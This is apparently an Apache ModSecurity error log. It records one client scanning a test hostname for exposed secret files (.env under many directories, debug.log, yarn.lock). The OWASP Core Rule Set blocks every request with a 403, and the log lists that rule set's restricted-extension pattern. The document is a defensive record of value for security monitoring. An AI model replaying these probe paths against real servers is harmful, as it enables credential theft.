[Mon Jul 28 20:46:24.690250 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wp-content/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nEgAAAA4&quot;]
[Mon Jul 28 20:46:24.690457 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nEgAAAA4&quot;]
[Mon Jul 28 20:46:24.690618 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nEgAAAA4&quot;]
[Mon Jul 28 20:46:24.710550 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nEwAAAA4&quot;]
[Mon Jul 28 20:46:24.710860 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nEwAAAA4&quot;]
[Mon Jul 28 20:46:24.711017 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nEwAAAA4&quot;]
[Mon Jul 28 20:46:24.752010 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wp-login/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-login/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nFQAAAA4&quot;]
[Mon Jul 28 20:46:24.752218 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-login/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nFQAAAA4&quot;]
[Mon Jul 28 20:46:24.752384 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-login/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nFQAAAA4&quot;]
[Mon Jul 28 20:46:24.793426 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nFwAAAA4&quot;]
[Mon Jul 28 20:46:24.793668 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nFwAAAA4&quot;]
[Mon Jul 28 20:46:24.793845 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nFwAAAA4&quot;]
[Mon Jul 28 20:46:24.834896 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /www-data/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www-data/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nGQAAAA4&quot;]
[Mon Jul 28 20:46:24.835111 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www-data/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nGQAAAA4&quot;]
[Mon Jul 28 20:46:24.835287 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www-data/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nGQAAAA4&quot;]
[Mon Jul 28 20:46:24.876150 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /xx-final/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xx-final/vue-heroes/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nGwAAAA4&quot;]
[Mon Jul 28 20:46:24.876378 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xx-final/vue-heroes/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nGwAAAA4&quot;]
[Mon Jul 28 20:46:24.876564 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xx-final/vue-heroes/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nGwAAAA4&quot;]
[Mon Jul 28 20:46:24.896466 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/yarn.lock&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /yarn.lock found within REQUEST_FILENAME: /yarn.lock&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nHAAAAA4&quot;]
[Mon Jul 28 20:46:24.896677 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nHAAAAA4&quot;]
[Mon Jul 28 20:46:24.896851 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nHAAAAA4&quot;]
[Mon Jul 28 20:46:24.916870 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /zmusic-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/zmusic-frontend/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nHQAAAA4&quot;]
[Mon Jul 28 20:46:24.917079 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/zmusic-frontend/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nHQAAAA4&quot;]
[Mon Jul 28 20:46:24.917254 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/zmusic-frontend/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nHQAAAA4&quot;]
[Mon Jul 28 20:46:24.937254 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /:443/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:443/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nHgAAAA4&quot;]
[Mon Jul 28 20:46:24.937454 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:443/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nHgAAAA4&quot;]
[Mon Jul 28 20:46:24.937622 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:443/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nHgAAAA4&quot;]
[Mon Jul 28 20:46:24.958831 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /:80/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:80/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nHwAAAA4&quot;]
[Mon Jul 28 20:46:24.959045 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:80/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nHwAAAA4&quot;]
[Mon Jul 28 20:46:24.959229 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:80/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nHwAAAA4&quot;]
[Mon Jul 28 20:46:24.979894 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /:8080/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8080/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nIAAAAA4&quot;]
[Mon Jul 28 20:46:24.980073 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8080/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nIAAAAA4&quot;]
